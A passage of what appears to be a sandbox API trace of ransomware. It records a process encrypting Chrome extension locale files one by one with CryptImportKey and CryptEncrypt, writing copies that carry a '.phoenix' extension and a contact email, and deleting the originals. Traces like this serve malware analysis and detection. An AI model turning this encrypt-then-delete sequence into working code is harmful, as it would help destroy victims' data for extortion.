	[0259.318] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.318] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=278) returned 1
	[0259.318] CloseHandle (hObject=0x258) returned 1
	[0259.318] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json")) returned 0x20
	[0259.319] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.319] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.319] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.319] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.320] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151480) returned 1
	[0259.320] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.320] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x116, lpOverlapped=0x0) returned 1
	[0259.321] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120, dwBufLen=0x120 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x120) returned 1
	[0259.321] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x120, lpOverlapped=0x0) returned 1
	[0259.321] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0259.321] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.321] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.321] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.322] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.380] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.380] CloseHandle (hObject=0x258) returned 1
	[0259.380] CloseHandle (hObject=0x2c0) returned 1
	[0259.380] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\he\\messages.json")) returned 1
	[0259.382] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.382] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.382] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=264) returned 1
	[0259.382] CloseHandle (hObject=0x2c0) returned 1
	[0259.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json")) returned 0x20
	[0259.383] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.383] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.383] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.383] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.383] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.384] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151640) returned 1
	[0259.384] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.384] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x108, lpOverlapped=0x0) returned 1
	[0259.385] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0259.385] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0259.385] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0259.385] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.385] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.385] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.386] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.402] CryptDestroyKey (hKey=0x151640) returned 1
	[0259.402] CloseHandle (hObject=0x2c0) returned 1
	[0259.402] CloseHandle (hObject=0x258) returned 1
	[0259.402] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\hu\\messages.json")) returned 1
	[0259.403] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.403] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.404] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=261) returned 1
	[0259.404] CloseHandle (hObject=0x258) returned 1
	[0259.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json")) returned 0x20
	[0259.404] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.404] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.404] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.404] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.404] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.405] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151480) returned 1
	[0259.405] CryptSetKeyParam (hKey=0x151480, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.405] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x105, lpOverlapped=0x0) returned 1
	[0259.406] CryptEncrypt (in: hKey=0x151480, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110, dwBufLen=0x110 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x110) returned 1
	[0259.406] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x110, lpOverlapped=0x0) returned 1
	[0259.408] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151540) returned 1
	[0259.408] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.408] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.409] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.409] WriteFile (in: hFile=0x2c0, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.427] CryptDestroyKey (hKey=0x151480) returned 1
	[0259.427] CloseHandle (hObject=0x258) returned 1
	[0259.427] CloseHandle (hObject=0x2c0) returned 1
	[0259.427] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\id\\messages.json")) returned 1
	[0259.428] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.428] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.459] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=293) returned 1
	[0259.460] CloseHandle (hObject=0x2c0) returned 1
	[0259.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json")) returned 0x20
	[0259.460] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.460] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.460] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.460] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.460] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.461] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151540) returned 1
	[0259.461] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.461] ReadFile (in: hFile=0x2c0, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x125, lpOverlapped=0x0) returned 1
	[0259.462] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x130, dwBufLen=0x130 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x130) returned 1
	[0259.462] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0x130, lpOverlapped=0x0) returned 1
	[0259.462] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f744, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7b0 | out: phKey=0x308f7b0*=0x151040) returned 1
	[0259.462] CryptSetKeyParam (hKey=0x151040, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.462] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40, dwBufLen=0x40 | out: pbData=0x34d5020*, pdwDataLen=0x308f770*=0x40) returned 1
	[0259.463] CryptDestroyKey (hKey=0x151040) returned 1
	[0259.463] WriteFile (in: hFile=0x258, lpBuffer=0x34d5020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x308f7b8, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesWritten=0x308f7b8*=0xf2, lpOverlapped=0x0) returned 1
	[0259.474] CryptDestroyKey (hKey=0x151540) returned 1
	[0259.474] CloseHandle (hObject=0x2c0) returned 1
	[0259.474] CloseHandle (hObject=0x258) returned 1
	[0259.474] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\ja\\messages.json")) returned 1
	[0259.475] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x308f858 | out: pbBuffer=0x308f858) returned 1
	[0259.475] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.476] GetFileSizeEx (in: hFile=0x258, lpFileSize=0x308f7f8 | out: lpFileSize=0x308f7f8*=285) returned 1
	[0259.476] CloseHandle (hObject=0x258) returned 1
	[0259.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json")) returned 0x20
	[0259.476] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0259.476] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x258
	[0259.476] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.476] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x308f798 | out: lpNewFilePointer=0x0) returned 1
	[0259.476] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0259.477] CryptImportKey (in: hProv=0x1267b0, pbData=0x308f750, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x308f7ac | out: phKey=0x308f7ac*=0x151740) returned 1
	[0259.477] CryptSetKeyParam (hKey=0x151740, dwParam=0x1, pbData=0x308f858, dwFlags=0x0) returned 1
	[0259.477] ReadFile (in: hFile=0x258, lpBuffer=0x34d5020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x308f7d4, lpOverlapped=0x0 | out: lpBuffer=0x34d5020*, lpNumberOfBytesRead=0x308f7d4*=0x11d, lpOverlapped=0x0) returned 1
